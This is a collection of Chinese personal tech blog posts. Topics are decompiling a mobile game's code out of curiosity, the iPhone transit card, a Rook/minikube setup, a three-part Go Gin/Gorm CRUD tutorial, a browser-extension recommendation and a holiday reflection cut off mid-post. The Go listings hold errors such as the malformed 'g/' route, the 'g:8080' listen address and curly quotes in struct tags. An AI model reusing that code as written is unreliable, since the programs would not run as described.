坐船的小青蛙 17 年春节前,《旅行青蛙》火的不行,反应慢一拍的我最近才开始迷上这个游戏。最近我的青蛙出去旅行不知所踪好几天了,作为一个不甘心当“佛系青年”的程序员,我想看看游戏的代码到底是如何设定的。 所谓细节是魔鬼,真做起来就没那么容易了,我从来没有接触过游戏开发,更别提手游了,一开始还真是有点懵。 第一步,我想先确定一下《旅行青蛙》是否涉及到和服务器端的交互,毕竟单机游戏破解还比较容易,如果数据是从服务器端拿到的话难度肯定会大一些。用手机端端的抓包软件看看游戏过程中是否有和服务器的交互就可以了。 request response 上图是一次请求交互的结果,其他的交互也是一样的模式,响应消息中除了 200 OK,没有其他内容,表示这只是应用向服务器端上报运行状态的变化,便于监控游戏的 bug,并无服务器端的逻辑,而且还可以看出来是一个基于 Unity 3D 开发的游戏。 对我来讲,破解还是从 Android 端入手更为容易一些,于是从 Google Play 上下载下来了 APK,扩展名改为 RAR,即可解压。解压后目录结构如下: jp.co.hit_point.tabikaeru 通常来讲 Unity 开发的软件代码会打包成 Assembly-CSharp.dll 放在目录 assets/bin/Data/Managed/ 目录下,这个游戏也是如此,使用 .Net 的反编译软件即可拿到代码,不过通常来讲,都会对这个文件做加壳处理,想破解不会很轻松,但这个游戏是个例外,也许是因为 Hit-Point 是日本的游戏公司,只能说和国内的行业氛围不一样吧。 游戏代码 简单的扫了一下代码,我觉得代码质量还是挺高的,风格一致性很高,写的也颇为工整。而且代码量比我之前想象的要大得多,本以为一个休闲小游戏不会有多少内容的。而且代码主要集中在地图系统的逻辑上,这也有些出乎意料,毕竟地图系统在游戏中根本不可见,随便做上几个点,随机选择,恐怕对绝大部分用户来说也没差别,要为这个游戏的一丝不苟点赞。 目前对于游戏的逻辑还没有深入研究,目前能确定的几个结论有: 使用不同的称号,对游戏的进程没有影响,因为没有找到这部分逻辑,例如使用“离家之路”,也不会让小青蛙回来的更慢。 门前的池塘里最多一次可以收获二十枚三叶草,每棵三叶草都有自己独立的重生时间,范围在五分钟到四个小时之间,所以想多赚点三叶草,就要勤快一点,多去点点。 抽奖的奖品获奖率是不同的,车票(黄玉): 1%,金平糖(红玉):3% ,小馒头(绿玉):9%,护身符(青玉):27%,抽奖卷一张(白玉):60%。 参考链接:呱呱走火入魔-逆向游戏代码-终结玄学迷信旅行青蛙分析(Android篇)
iPhone 可以刷公交卡了! 苹果手机很早就已经有了 NFC 功能,但是只能用于 Apple Pay,对其他应用不开放,这让我时常有 “我要这铁棒有何用” 的感慨,不过现在终于有了点变化。这周五我正在堆代码,听到同事说苹果支持刷公交卡了,下班后忙不迭的试了一下,虽然还是 beta 版,不过功能已经满足日常使用了,接下来我就说说怎么用 iPhone 刷公交卡。 限制 机型限制 这个新功能是伴随着 iOS 13.3 一起发布的,当然手机要有 NFC 的芯片才能支持,iPhone 6 以前的手机是没有办法享受这个新功能了,iPhone SE 虽然是 iPhone 5 的外壳,但是用的 iPhone 6 S 的芯,所以也是有 NFC 的。 地点限制 另外要注意的一点是,目前只支持上海和北京两地 的公交卡,其他城市的同学们还是要再等等了。 步骤 系统升级 第一步当时是要先升级到 iOS 13.3 了,找到通用 -> 软件升级,检查更新。升级步骤我就不详细说了,大家注意 WiFi 连接和电力充足就可以了。 系统升级 绑定公交卡 升级完成后,找到钱包,点击右上角的。 钱包 在下一个页面点击继续跳转到卡种选择界面,可以明确的看到只支持北京和上海的公交卡,选择好后跳转到 NFC 读取公交卡信息界面。 公交卡类型选择界面 如下图所示,iPhone 将公交卡中的余额转入手机中,需要注意的是,和办公交卡一样,要额外交二十元的手续费。好了,接下来就可以享受手机刷卡的便利了。 手机读取公交卡信息 充值 充值也非常方便,不过前提是 iPhone 的钱包 里要绑定一张银行储蓄卡,绑定方式就不细说了,和公交卡差别不大。 现在钱包 页面进入到公交卡详情页面,点击右下角的ℹ︎符号。 公交卡详情 在下个页面选择充值就可以了。 充值 要说的就是这么多了,更详尽的信息请参考 Apple 官网:在北京和上海使用 Apple Pay 快捷交通卡功能
rook.io 今天我想谈一下 rook 这个项目,我目前工作的方向是分布式存储,这个领域里 Ceph 是接近于标准级别的解决方案了,而 Rook 就是 Ceph 来应对 cloud native 这个大趋势,给出的答案。虽然 Rook 不是出自 Ceph 社区,但已经是 Ceph 所官方承认的适配 Kubernetes 环境的解决方案。所以我自然对这个项目非常感兴趣,加之这周四和周五刚刚参加了 Cepholacon APAC 2018 北京大会,现场听了 Rook 的创始人 Bassam Tabbara 的演讲,同时也看到了 Sage Weil (Ceph 创始人)对 Rook 的赞许。我虽然一直很关注 Rook,但因为懒癌甚至从来都没有手动搭建过一次 Rook 的集群,所以我觉得是时候做点什么了。 Rook 参考文档 操作方法我参考的是 Rook 的官方文档: rook 快速入门 minikube 要启动 Rook,前提条件是要有一个可用的 Kuberntes 集群,手动搭建这还真不是个简单的事情,好在 Kubernetes 提供了一个极为简便的解决方案:minikube。minikube 是在一个单节点上提供单节点的 Kubenetes 环境,虽然功能有限,但作为 prototype 是再合适不过了,而且重点是使用非常方便。 minikube 本身的安装并不复杂,我参考的是这篇文档 minikube release page,如果读者有需要的话,过后我可以再补一篇 minikube 的安装文档。 安装好后,minikube 默认会使用 VirtualBox 作为 Hypervisor,所以建议启动前先装好 VirtualBox。然后使用命令行启动 minikube,这里要注意,因为功夫网的存在,所以不用代理 minikube 是不能正常工作的。原因是 minikube 是 google 的项目,自然镜像是存在 google 的服务器上,google 是功夫网重点打击对象,所以造成了这许多不便。好在还是有解决的办法,minikube 支持使用代理,支持 http 或者 https 的代理,已经搭好科学上网环境的朋友们直接把本地的代理地址填进去就好了: minikube start --docker-env=HTTP_PROXY=http://192.168.1.6:8123 我之前也写了不少科学上网的文章,到这大家应该理解是为什么了吧,我之前讲的是用 Shadowsocks,但 Shadowsocks 用的是 Socks5 协议,这里有需要做转换了,具体方法请参考我的另外一篇博客:如何将 SOCK5 转换成 HTTP。 minikube 启动后要把自己的服务也跑在 kubernetes 环境里,所以要先把自己的几个 pod 跑起来才能正常工作,可以通过这个命令来查看 minikube 的 pod 是否工作正常。如果输出状态都是 running,那么证明 minikube 已经就绪了。 $ kubectl get pods --all-namespaces=true NAMESPACE NAME READY STATUS RESTARTS AGE kube-system kube-addon-manager-minikube 1/1 Running 0 5m kube-system kube-dns-54cccfbdf8-xn98f 3/3 Running 0 4m kube-system kubernetes-dashboard-77d8b98585-42t8q 1/1 Running 0 4m kube-system storage-provisioner 1/1 Running 0 4m 如何启动 Rook 首先需要用 git 下载 rook 代码: git clone https://github.com/rook/rook.git 然后使用如下命令启动 rook operator 服务,rook operator 是作为 kubernetes 的插件存在的,提供了一些 kubernetes API 的扩展来实现 Rook 自己的一些概念: cd rook/cluster/examples/kubernetes kubectl create -f rook-operator.yaml # 用这个命令查看 rook operator 的启动状态 kubectl -n rook-system get pod 当 Rook operator 就位之后,接下来就可以启动 Rook cluster 了。首先要创建一个名为 rook-cluster.yaml 的 spec 文件,内容如下。 apiVersion: v1 kind: Namespace metadata: name: rook --- apiVersion: rook.io/v1alpha1 kind: Cluster metadata: name: rook namespace: rook spec: dataDirHostPath: /var/lib/rook storage: useAllNodes: true useAllDevices: false storeConfig: storeType: bluestore databaseSizeMB: 1024 journalSizeMB: 1024 然后使用命令启动: kubectl create -f rook-cluster.yaml 启动成功的输出结果如下: $ kubectl -n rook get pod NAME READY STATUS RESTARTS AGE rook-ceph-mgr0-1279756402-wc4vt 1/1 Running 0 5m rook-ceph-mon0-jflt5 1/1 Running 0 6m rook-ceph-mon1-wkc8p 1/1 Running 0 6m rook-ceph-mon2-p31dj 1/1 Running 0 6m rook-ceph-osd-0h6nb 1/1 Running 0 5m 不过因为我是在自己的 Mac Air 上做的,磁盘空间有限,没能成功启动,所以大家在做这个实验时,至少要保证有 10 G 以上的空余空间。 2018-03-25 11:57:20.044310 I | rook-ceph-mon0: 2018-03-25 11:57:20.043975 7f82f4f3af00 0 ceph version 12.2.4 (52085d5249a80c5f5121a76d6288429f35e4e77b) luminous (stable), process (unknown), pid 16 2018-03-25 11:57:20.044416 I | rook-ceph-mon0: 2018-03-25 11:57:20.044088 7f82f4f3af00 -1 error: monitor data filesystem reached concerning levels of available storage space (available: -2147483648%!b(MISSING)ytes) 2018-03-25 11:57:20.044430 I | rook-ceph-mon0: you may adjust 'mon data avail crit' to a lower value to make this go away (default: 5%!)(MISSING) 2018-03-25 11:57:20.044440 I | rook-ceph-mon0: 2018-03-25 11:57:20.046996 I | rook-ceph-mon0: 2018-03-25 11:57:20.044088 7f82f4f3af00 -1 error: monitor data filesystem reached concerning levels of available storage space (available: -2147483648%!b(MISSING)ytes) 2018-03-25 11:57:20.047099 I | rook-ceph-mon0: you may adjust 'mon data avail crit' to a lower value to make this go away (default: 5%!)(MISSING) 2018-03-25 11:57:20.047115 I | rook-ceph-mon0: failed to run mon. failed to start mon: Failed to complete rook-ceph-mon0: exit status 28 结语 以我的浅见来看,Rook 是值得投入精力来好好学习的,我认为它有着光明的未来,而且项目还处于早期阶段,代码逻辑还不复杂,便于日后对这个项目的发展有着更深的理解。期待有更多同路人的出现。
gin-gonic 这是系列文章的第三篇。下面是另外两篇的链接: 如何使用 Gin 和 Gorm 搭建一个简单的 API 服务(一) 如何使用 Gin 和 Gorm 搭建一个简单的 API 服务(二) 修改数据结构 基本的 API 已经定义好了,现在是个修改 Person 对象结构的好时机。只要修改 Person 结构体,数据库和 API 都会自动做出相应的修改。 我要做的是在 Person 结构体中添加 city 字段,就这一行,没有其他改动。 type Person struct { ID uint `json:"id"` FirstName string `json:"firstname"` LastName string `json:"lastname"` City string `json:"city"` } 刷新浏览器,你就会看到 city 字段已经添加进去了。 [{"id": 2,"firstname": "Elvis","lastname": "Presley","city": ""},{"id": 3,"firstname": "Tom","lastname": "Sawyer","city": ""}] Gin 可以创建和修改字段,而不需要做其他任何改动。 $ curl -i -X PUT http://localhost:8080/people/2 -d '{ "city": "Memphis" }' HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Date: Sat, 03 Dec 2016 00:40:57 GMT Content-Length: 67 {"id":2,"firstname":"Elvis","lastname":"Presley","city":"Memphis"} 这都是靠 main 函数这行代码中的这行代码来处理的:db.AutoMigrate(&Person{})。在生产环境中,我们肯定要做其他更为精细的处理,不过作为原型验证,这已经足够了。 使用 MySQL 我知道你在想什么,Gin 确实很棒,但为什么不用 MySQL 替换 SQLite 呢。 只需要替换一下 import 声明和数据库连接就行了。 import 声明代码: import _ “github.com/go-sql-driver/mysql” 数据库连接代码: db, _ = gorm.Open("mysql", "user:pass@tcp(127.0.0.1:3306)/database?charset=utf8&parseTime=True&loc=Local") 完整代码: package main import ( "fmt" "github.com/gin-gonic/gin" _ "github.com/go-sql-driver/mysql" "github.com/jinzhu/gorm" _ "github.com/jinzhu/gorm/dialects/sqlite" ) var db *gorm.DB var err error type Person struct { ID uint `json:"id"` FirstName string `json:"firstname"` LastName string `json:"lastname"` City string `json:"city"` } func main() { // NOTE: See we're using = to assign the global var // instead of := which would assign it only in this function // db, err = gorm.Open("sqlite3", "./gorm.db") db, _ = gorm.Open("mysql", "user:pass@tcp(127.0.0.1:3306)/database?charset=utf8&parseTime=True&loc=Local") if err != nil { fmt.Println(err) } defer db.Close() db.AutoMigrate(&Person{}) r := gin.Default() r.GET("g/", GetProjects) r.GET("/people/:id", GetPerson) r.POST("/people", CreatePerson) r.PUT("/people/:id", UpdatePerson) r.DELETE("/people/:id", DeletePerson) r.Run("g:8080") } func GetProjects(c *gin.Context) { var people []Person if err := db.Find(&people).Error; err != nil { c.AbortWithStatus(404) fmt.Println(err) } else { c.JSON(200, people) } } func GetPerson(c *gin.Context) { id := c.Params.ByName("id") var person Person if err := db.Where("id = ?", id).First(&person).Error; err != nil { c.AbortWithStatus(404) fmt.Println(err) } else { c.JSON(200, person) } } func CreatePerson(c *gin.Context) { var person Person c.BindJSON(&person) db.Create(&person) c.JSON(200, person) } func UpdatePerson(c *gin.Context) { var person Person id := c.Params.ByName("id") if err := db.Where("id = ?", id).First(&person).Error; err != nil { c.AbortWithStatus(404) fmt.Println(err) } c.BindJSON(&person) db.Save(&person) c.JSON(200, person) } func DeletePerson(c *gin.Context) { id := c.Params.ByName("id") var person Person d := db.Where("id = ?", id).Delete(&person) fmt.Println(d) c.JSON(200, gin.H{"id #" + id: "deleted"}) } 总结 Go 是一种既灵活又健壮的语言,它能简单又快捷的搭建出功能丰富的应用,而且还不需要很大的代码量。希望这篇文章能对你有点用处,欢迎在留言区写下你的想法和问题。
gin-gonic 这是系列文章的第二篇。下面是另外两篇的链接: 如何使用 Gin 和 Gorm 搭建一个简单的 API 服务(一) 如何使用 Gin 和 Gorm 搭建一个简单的 API 服务(三) 创建 API 我们之前已经跑过 Gin 框架的代码,现在是时候加些功能进去了。 读取全部信息 我们先从"增删改查"中的"查"入手,查询我们之前添加的信息。我接下来要删除几行代码,并把 Gin 的框架代码加回来。 package main import ( "fmt" "github.com/gin-gonic/gin" "github.com/jinzhu/gorm" _ "github.com/jinzhu/gorm/dialects/sqlite" ) var db *gorm.DB var err error type Person struct { ID uint `json:"id”` FirstName string `json:"firstname”` LastName string `json:"lastname”` } func main() { // NOTE: See we’re using = to assign the global var // instead of := which would assign it only in this function db, err = gorm.Open("sqlite3", "./gorm.db") if err != nil { fmt.Println(err) } defer db.Close() db.AutoMigrate(&Person{}) r := gin.Default() r.GET("g/", GetProjects) r.Run("g:8080") } func GetProjects(c *gin.Context) { var people []Person if err := db.Find(&people).Error; err != nil { c.AbortWithStatus(404) fmt.Println(err) } else { c.JSON(200, people) } } 那么运行程序,并在浏览器中访问 http://localhost:8080,你应该看到: [{“id”: 1,”firstname”: “John”,”lastname”: “Doe”}] 喔,几行代码我们就可以拿到 API 服务器的响应了,而且大部分代码都是用来错误处理的。 读取特定信息 好,为了把 API 接口写的更符合 REST 规范,我们加入查询特定信息的借口 package main import ( "fmt" "github.com/gin-gonic/gin" "github.com/jinzhu/gorm" _ "github.com/jinzhu/gorm/dialects/sqlite" ) var db *gorm.DB var err error type Person struct { ID uint `json:"id”` FirstName string `json:"firstname”` LastName string `json:"lastname”` } func main() { // NOTE: See we’re using = to assign the global var // instead of := which would assign it only in this function db, err = gorm.Open("sqlite3", "./gorm.db") if err != nil { fmt.Println(err) } defer db.Close() db.AutoMigrate(&Person{}) r := gin.Default() r.GET("g/", GetProjects) r.GET("/people/:id", GetPerson) r.Run("g:8080") } func GetProjects(c *gin.Context) { var people []Person if err := db.Find(&people).Error; err != nil { c.AbortWithStatus(404) fmt.Println(err) } else { c.JSON(200, people) } } func GetPerson(c *gin.Context) { id := c.Params.ByName("id") var person Person if err := db.Where("id = ?", id).First(&person).Error; err != nil { c.AbortWithStatus(404) fmt.Println(err) } else { c.JSON(200, person) } } 现在运行程序,但请注意,如果要访问全部信息,你需要访问的地址变成了 http://localhost:8080/people/ ,如果 在 URL 的末尾加入了 ID,你就会得到特定的信息 http://localhost:8080/people/1 {"id": 1, "firstname": "John", "lastname": "Doe"} 添加信息 只有一条记录是看不大出来查询全部信息和查询单条信息的区别的,所以咱们来把添加信息的功能加上吧。 package main import ( "fmt" "github.com/gin-gonic/gin" "github.com/jinzhu/gorm" _ "github.com/jinzhu/gorm/dialects/sqlite" ) var db *gorm.DB var err error type Person struct { ID uint `json:"id”` FirstName string `json:"firstname”` LastName string `json:"lastname”` } func main() { // NOTE: See we’re using = to assign the global var // instead of := which would assign it only in this function db, err = gorm.Open("sqlite3", "./gorm.db") if err != nil { fmt.Println(err) } defer db.Close() db.AutoMigrate(&Person{}) r := gin.Default() r.GET("g/", GetProjects) r.GET("/people/:id", GetPerson) r.POST("/people", CreatePerson) r.Run("g:8080") } func GetProjects(c *gin.Context) { var people []Person if err := db.Find(&people).Error; err != nil { c.AbortWithStatus(404) fmt.Println(err) } else { c.JSON(200, people) } } func GetPerson(c *gin.Context) { id := c.Params.ByName("id") var person Person if err := db.Where("id = ?", id).First(&person).Error; err != nil { c.AbortWithStatus(404) fmt.Println(err) } else { c.JSON(200, person) } } func CreatePerson(c *gin.Context) { var person Person c.BindJSON(&person) db.Create(&person) c.JSON(200, person) } 接下来让我们从终端运行 curl 命令测试一下新加的功能是不是可用,当然还是先要把程序运行起来。 在终端运行: $ curl -i -X POST http://localhost:8080/people -d '{ "FirstName": "Elvis", "LastName": "Presley"}' 应该会看到成功的响应消息: HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Date: Sat, 03 Dec 2016 00:14:06 GMT Content-Length: 50 {"id":2,"firstname":"Elvis","lastname":"Presley"} 现在我们访问一下查询全部信息的接口,http://localhost:8080/people/ [{"id": 1,"firstname": "John","lastname": "Doe"},{"id": 2,"firstname": "Elvis","lastname": "Presley"}] 太棒啦,代码没问题。这回我们只发送 Person 结构体的部分信息,看看程序会如何处理。 $ curl -i -X POST http://localhost:8080/people -d '{ "FirstName": "Madison"}' 刷新一下浏览器,发现只添加了我们发送的信息。 [{"id": 1,"firstname": "John","lastname": "Doe"},{"id": 2,"firstname": "Elvis","lastname": "Presley"},{"id": 3,"firstname": "Madison","lastname": ""}] 这就是 Gin 如何工作的了,留意一下 c.BindJSON(&person) 这行,它会自动匹配请求消息中的数据信息。 虽然请求消息里可能缺某些信息,就比如刚才那个例子,而且大小写不匹配也没有关系,Gin 的容错性非常高。非常简单! 更新信息 我们不能把 Madison 这条记录没有姓氏啊,是时候加入更新功能了。 package main import ( "fmt" "github.com/gin-gonic/gin" "github.com/jinzhu/gorm" _ "github.com/jinzhu/gorm/dialects/sqlite" ) var db *gorm.DB var err error type Person struct { ID uint `json:"id"` FirstName string `json:"firstname"` LastName string `json:"lastname"` } func main() { // NOTE: See we're using = to assign the global var // instead of := which would assign it only in this function db, err = gorm.Open("sqlite3", "./gorm.db") if err != nil { fmt.Println(err) } defer db.Close() db.AutoMigrate(&Person{}) r := gin.Default() r.GET("g/", GetProjects) r.GET("/people/:id", GetPerson) r.POST("/people", CreatePerson) r.PUT("/people/:id", UpdatePerson) r.Run("g:8080") } func GetProjects(c *gin.Context) { var people []Person if err := db.Find(&people).Error; err != nil { c.AbortWithStatus(404) fmt.Println(err) } else { c.JSON(200, people) } } func GetPerson(c *gin.Context) { id := c.Params.ByName("id") var person Person if err := db.Where("id = ?", id).First(&person).Error; err != nil { c.AbortWithStatus(404) fmt.Println(err) } else { c.JSON(200, person) } } func CreatePerson(c *gin.Context) { var person Person c.BindJSON(&person) db.Create(&person) c.JSON(200, person) } func UpdatePerson(c *gin.Context) { var person Person id := c.Params.ByName("id") if err := db.Where("id = ?", id).First(&person).Error; err != nil { c.AbortWithStatus(404) fmt.Println(err) } c.BindJSON(&person) db.Save(&person) c.JSON(200, person) } 这次我们用类似的 curl 命令 进行测试,但不同的是用 PUT 方法,而且是用在特定的信息上。 $ curl -i -X PUT http://localhost:8080/people/3 -d '{ "FirstName": "Madison", "LastName":"Sawyer" }' HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Date: Sat, 03 Dec 2016 00:25:35 GMT Content-Length: 51 {"id":3,"firstname":"Madison","lastname":"Sawyer"} 当然更新浏览器后,我们就可以看见 "sawyer" 添加到了 "LastName" 一栏里。 [{"id": 1,"firstname": "John","lastname": "Doe"},{"id": 2,"firstname": "Elvis","lastname": "Presley"},{"id": 3,"firstname": "Madison","lastname": "Sawyer"}] 这次我们只更新 "FirstName" 字段试试。 $ curl -i -X PUT http://localhost:8080/people/3 -d '{ "FirstName": "Tom" }' 显示如下 [{"id": 1,"firstname": "John","lastname": "Doe"},{"id": 2,"firstname": "Elvis","lastname": "Presley"},{"id": 3,"firstname": "Tom","lastname": "Sawyer"}] 删除 这次轮到删除功能了 package main import ( "fmt" "github.com/gin-gonic/gin" "github.com/jinzhu/gorm" _ "github.com/jinzhu/gorm/dialects/sqlite" ) var db *gorm.DB var err error type Person struct { ID uint `json:"id"` FirstName string `json:"firstname"` LastName string `json:"lastname"` } func main() { // NOTE: See we're using = to assign the global var // instead of := which would assign it only in this function db, err = gorm.Open("sqlite3", "./gorm.db") if err != nil { fmt.Println(err) } defer db.Close() db.AutoMigrate(&Person{}) r := gin.Default() r.GET("g/", GetProjects) r.GET("/people/:id", GetPerson) r.POST("/people", CreatePerson) r.PUT("/people/:id", UpdatePerson) r.DELETE("/people/:id", DeletePerson) r.Run("g:8080") } func GetProjects(c *gin.Context) { var people []Person if err := db.Find(&people).Error; err != nil { c.AbortWithStatus(404) fmt.Println(err) } else { c.JSON(200, people) } } func GetPerson(c *gin.Context) { id := c.Params.ByName("id") var person Person if err := db.Where("id = ?", id).First(&person).Error; err != nil { c.AbortWithStatus(404) fmt.Println(err) } else { c.JSON(200, person) } } func CreatePerson(c *gin.Context) { var person Person c.BindJSON(&person) db.Create(&person) c.JSON(200, person) } func UpdatePerson(c *gin.Context) { var person Person id := c.Params.ByName("id") if err := db.Where("id = ?", id).First(&person).Error; err != nil { c.AbortWithStatus(404) fmt.Println(err) } c.BindJSON(&person) db.Save(&person) c.JSON(200, person) } func DeletePerson(c *gin.Context) { id := c.Params.ByName("id") var person Person d := db.Where("id = ?", id).Delete(&person) fmt.Println(d) c.JSON(200, gin.H{"id #" + id: "deleted"}) } 我们用 curl 的 Delete 方法测试一下 $ curl -i -X DELETE http://localhost:8080/people/1 HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Date: Sat, 03 Dec 2016 00:32:40 GMT Content-Length: 20 {"id #1":"deleted"} 刷新浏览器,John Doe 这条记录已经删掉了。 [{"id": 2,"firstname": "Elvis","lastname": "Presley"},{"id": 3,"firstname": "Tom","lastname": "Sawyer"}]
gin-gonic 今天工作上的事情比较多,所以就把工作中参考的英文文章搬运过来了,这是我参考文章的链接: Developing a simple CRUD API with Go, Gin and Gorm 因为文章较长,我打算分成三篇,这是第一篇。下面是另外两篇的链接: 如何使用 Gin 和 Gorm 搭建一个简单的 API 服务(二) 如何使用 Gin 和 Gorm 搭建一个简单的 API 服务(三) 介绍 Go 语言最近十分火热,但对于新手来说,想立马上手全新的语法和各种各样的框架还是有点难度的。即使是基础学习也很有挺有挑战性。 在这篇文章中,我想用最少的代码写出一个可用的 API 服务。这个 API 可以提供增删改查(CRUD)这些基本功能,对象关系映射 (ORM) 让数据库操作变得非常简单,不用 100 行代码,都可以搞定。让我们开始吧。 在下面这个连接中可以找到最后完成的全部代码: https://github.com/cgrant/gin-gorm-api-example 起步 这篇文章假设读者已经安装了 Go 的运行环境,如果您还没装好 Go,可以移步到这篇文章,参考一下: http://cgrant.io/tutorials/go/getting-started-with-go/ Gin 既然是搭建 API 服务,就需要一个 Web 框架来处理路由并响应 HTTP 请求,Go 语言有很多各式各样的开源框架,本文我们选用了 Gin https://github.com/gin-gonic/gin。Gin 的特点是响应速度快,结构简单。 我们先来给 API 服务创建文件夹和 main.go 文件吧。 $ mkdir -p $GOPATH/src/simple-api $ cd $GOPATH/src/simple-api $ touch main.go 代码如下 package main import "fmt" func main() { fmt.Println("Hello World") } 我们先测试一下。 $ go run main.go Hello World 非常好,现在让我们把 Gin 框架的代码加进去。 package main import "github.com/gin-gonic/gin" func main() { r := gin.Default() r.GET("/", func(c *gin.Context) { c.String(200, "Hello World") }) r.Run() } 保存并运行。 $ go run main.go [GIN-debug] [WARNING] Running in "debug" mode. Switch to "release" mode in production. — using env: export GIN_MODE=release — using code: gin.SetMode(gin.ReleaseMode) [GIN-debug] GET / → main.main.func1 (3 handlers) [GIN-debug] Environment variable PORT is undefined. Using port :8080 by default [GIN-debug] Listening and serving HTTP on :8080 [GIN] 2016/12/02–14:57:52 | 200 | 33.798µs | ::1 | GET / 在浏览器中访问地址 http://localhost:8080 Hello World 成功了!!! 不过我们是在写 API,没人会返回字符串的,把返回值改成 JSON 格式吧。 package main import "github.com/gin-gonic/gin" func main() { r := gin.Default() r.GET("/", func(c *gin.Context) { c.String(200, "Hello World") c.JSON(200, gin.H{ "message": "Hello World", }) }) r.Run() } 保存文件,重新运行 API server,刷新浏览器,返回值变成了 JSON。 {“message”: “Hello World”} 用 GORM 把数据持久化 现在让我们考虑一下服务的持久化层,在这部分中,我们将把数据保存在一个本地 SQLite 文件中,在稍后的章节中,我们将改为 MySQL。 Gorm http://jinzhu.me/gorm/ 是一个 Go 语言实现的对象关系映射 (ORM) 框架。它简化了程序对数据库的操作,虽然我不是很赞同在大型的复杂系统中使用 ORM,但 ORM 在小项目中做做原型验证还是很不错的。Gorm 是 Go 的生态中很流行的工具,所以我们先从这里入手吧。 我们从头开始,先把之前的代码去掉,在浏览了 GORM 的主要功能后,再把 Gin 的代码加回来。先来个简单的例子: package main import ( "github.com/jinzhu/gorm" _ "github.com/jinzhu/gorm/dialects/sqlite" ) func main() { db, _ := gorm.Open("sqlite3", "./gorm.db") defer db.Close() } 执行程序后,在运行环境的文件系统里可以看到一个新文件 gorm.db。这就是 API 的数据库文件了。我们的 API 程序现在还没什么功能,让我们再加点代码吧。 package main import ( "github.com/jinzhu/gorm" _ "github.com/jinzhu/gorm/dialects/sqlite" ) type Person struct { ID uint `json:"id"` FirstName string `json:"firstname"` LastName string `json:"lastname"` } func main() { db, _ := gorm.Open("sqlite3", "./gorm.db") defer db.Close() p1 := Person{FirstName: "John", LastName: "Doe"} p2 := Person{FirstName: "Jane", LastName: "Smith"} fmt.Println(p1.FirstName) fmt.Println(p2.LastName) } 我们刚刚加了一个叫 Person 的结构体,然后建了几个 Person 类型的实例,并打印了里面的值。请注意结构体 Person 里的每个域的名字必须是大写字母开头的,这样 Go 语言才认为这是一个共有域。 package main import ( "github.com/jinzhu/gorm" _ "github.com/jinzhu/gorm/dialects/sqlite" ) type Person struct { ID uint `json:"id"` FirstName string `json:"firstname"` LastName string `json:"lastname"` } func main() { db, _ := gorm.Open("sqlite3", "./gorm.db") defer db.Close() db.AutoMigrate(&Person{}) p1 := Person{FirstName: "John", LastName: "Doe"} p2 := Person{FirstName: "Jane", LastName: "Smith"} db.Create(&p1) var p3 Person db.First(&p3) fmt.Println(p1.FirstName) fmt.Println(p2.LastName) fmt.Println(p3.LastName) } 到目前为止都很顺利,执行一下程序看看能得到什么结果。 $ go run main.go John Smith Doe 写起来还是挺简单的吧,不用几行代码,我们就可以从数据库中存取信息了。Gorm 还有很多其他特性,接下来让我们再试试其中比较重要的功能,当然,要了解更多信息的话,请查看 Gorm 的文档。
我的工作用电脑的桌面环境是 Ubuntu 17.10,作为一个 Linux 用户,一直困扰我的一个问题是没有找到一个比较理想的可以取词划词的英语词典,之前我尝试过几种方法: 有道:有道是有 Linux 版的,不过没有集成到官方的包管理工具中,软件商店也找不到,只能下安装包。而且我上次尝试时遇到了不小的问题,不光安装不上,甚至还造成了 apt 的崩溃,所以就没再尝试,哪位有成功经验,一定要分享一下。 google 的 dict chrome 插件:我觉得也能用,但有两个问题:第一是因为谷歌的服务,国内都要科学上网,所以速度很慢;第二是只有英文解释,虽然能提高英文能力,不过从效率上讲总归是不如有中文解释来得快。 今天偶然遇到了一个更好的解决方案,也是一个 chrome 浏览器的插件:ImTranslator,我觉得体验不错,推荐给大家。我觉得这个软件主要有以下几个优点: 支持的语言非常丰富:看下面的图片就知道了,我觉得足够满足了绝大部分人的需求了。 语言选择界面 无需科学上网:不走代理,所以查词速度比 dict 插件好了很多。 取词操作非常方便:支持多种取词方式 鼠标取词:鼠标双击查询单词,会弹出一个小气球,点击气球会显示单词的解释。 单词查询界面 image.png 快捷键取词:除了鼠标外,还支持快捷键取词。默认的快捷键配置是这样的。查询单词的话只需要 CTRL + ATL + 鼠标双击目标单词 就可以了,这样就省去了点击小气球的步骤了。 快捷键设置 查询单词有英文发音:这是一个比较好的功能,有时光是看音标还是不知道怎么读,有个标准发音就好多了,但不知道为什么有道的网页版在我电脑一直没有声音。 但是安装 Chrome 插件还是需要科学上网的,所以为了减少负担,我把插件的安装文件放在文章中,下载后拖拽进 Chrome 的插件管理页面中就可以完成安装了。 插件管理界面 ImTranslator CRX 安装文件下载链接:ImTranslator CRX 安装文件下载链接 希望文章会对您有所帮助。
春节即将结束了,复盘一下今年春节的得与失。 作为一名为人父不久的技术工作者,春节真是一个难得的长假,有太多事情要去做。平时加班较多,自然是希望借这个机会多给孩子高质量的陪伴;双方父母都不方便过来照顾孩子,所以娃一直是媳妇一个人带,我也想在假期里能多分担一些她的压力;因为孩子还比较小,老家又在寒冷的东北,最近几年一直没有回家过年,今年春节是娃出生后第一次返乡过年,当然也要多陪陪父母;作为一个自诩的终身学习者,我也给这个难得的长假安排了很多的学习计划,例如学习热门的开源项目,看英文技术书籍,学习英语等。 所以假期里主要有四个方面的需求:孩子的需求,妻子的需求,家人的需求,自己的需求。 和媳妇商量了一下,决定在没有集体活动的情况下,轮流带孩子,每人一个小时,那么不带孩子的就可以放松一下,或者完成自己的假期计划。而在晚饭和聚会等一起活动的时间就和家人交流。这样基本就覆盖了各方的需求。 但计划的实行并不很理想,刚到家的第一天,还没有制定好这个计划,未能实行,过得浑浑噩噩;而到假期快结束的时候,我和妻子都因为聚会和带孩子有点疲劳,执行效果也不好。不过总的来讲,比没有这个计划还是好太多了。 接下来总结一下这个假期是否满足了这四方面需求的: 孩子:从我的角度来看,孩子是非常满意的。充分体验了东北的冰雪世界;放烟花,贴春联,感受了过年的气息;也不缺少和同龄的小朋友们一起玩耍的时间。除了天气太冷,户外活动较少,和有时玩的太累,而发脾气外,没有什么缺憾了。 妻子:我尽力了,但是还是没能达到媳妇的预期。轮流照顾孩子在一定程度上进行了隔离,效果是有的,从媳妇的情绪上来看,比平时好些。但因为父母无论是身体健康还是意愿上,都不是很情愿带孩子,也只有我帮忙,这样就没办法获得夫妻独处的时间了。对此媳妇颇有微词,不过这也不是我能控制的部分了。以后的日子里,希望能通过和父母的沟通,让他们更多的参与进来。 